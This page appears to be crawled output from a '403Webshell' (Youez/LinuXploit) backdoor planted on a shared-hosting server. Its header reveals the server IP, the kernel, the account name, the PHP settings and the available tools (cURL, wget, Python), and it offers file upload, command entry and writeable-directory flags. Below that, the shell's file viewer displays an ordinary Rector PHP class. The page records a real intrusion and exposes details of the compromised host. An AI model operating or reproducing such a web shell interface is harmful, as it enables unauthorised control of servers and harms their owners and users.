403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.216.151
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-wappspector/vendor/rector/rector/src/PHPStanStaticTypeMapper/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-wappspector/vendor/rector/rector/src/PHPStanStaticTypeMapper/Utils/TypeUnwrapper.php
<?php

declare (strict_types=1);
namespace Rector\PHPStanStaticTypeMapper\Utils;

use PHPStan\Type\CallableType;
use PHPStan\Type\Type;
use PHPStan\Type\TypeCombinator;
use PHPStan\Type\TypeWithClassName;
use PHPStan\Type\UnionType;
final class TypeUnwrapper
{
    public function unwrapFirstObjectTypeFromUnionType(Type $type) : Type
    {
        if (!$type instanceof UnionType) {
            return $type;
        }
        foreach ($type->getTypes() as $unionedType) {
            if (!$unionedType instanceof TypeWithClassName) {
                continue;
            }
            return $unionedType;
        }
        return $type;
    }
    public function unwrapFirstCallableTypeFromUnionType(Type $type) : ?Type
    {
        if (!$type instanceof UnionType) {
            return $type;
        }
        foreach ($type->getTypes() as $unionedType) {
            if (!$unionedType instanceof CallableType) {
                continue;
            }
            return $unionedType;
        }
        return $type;
    }
    public function isIterableTypeValue(string $className, Type $type) : bool
    {
        if (!$type instanceof TypeWithClassName) {
            return \false;
        }
        // get the namespace from $className
        $classNamespace = $this->namespace($className);
        // get the namespace from $parameterReflection
        $reflectionNamespace = $this->namespace($type->getClassName());
        // then match with
        return $reflectionNamespace === $classNamespace && \substr_compare($type->getClassName(), '\\TValue', -\strlen('\\TValue')) === 0;
    }
    public function isIterableTypeKey(string $className, Type $type) : bool
    {
        if (!$type instanceof TypeWithClassName) {
            return \false;
        }
        // get the namespace from $className
        $classNamespace = $this->namespace($className);
        // get the namespace from $parameterReflection
        $reflectionNamespace = $this->namespace($type->getClassName());
        // then match with
        return $reflectionNamespace === $classNamespace && \substr_compare($type->getClassName(), '\\TKey', -\strlen('\\TKey')) === 0;
    }
    public function removeNullTypeFromUnionType(UnionType $unionType) : Type
    {
        return TypeCombinator::removeNull($unionType);
    }
    private function namespace(string $class) : string
    {
        return \implode('\\', \array_slice(\explode('\\', $class), 0, -1));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit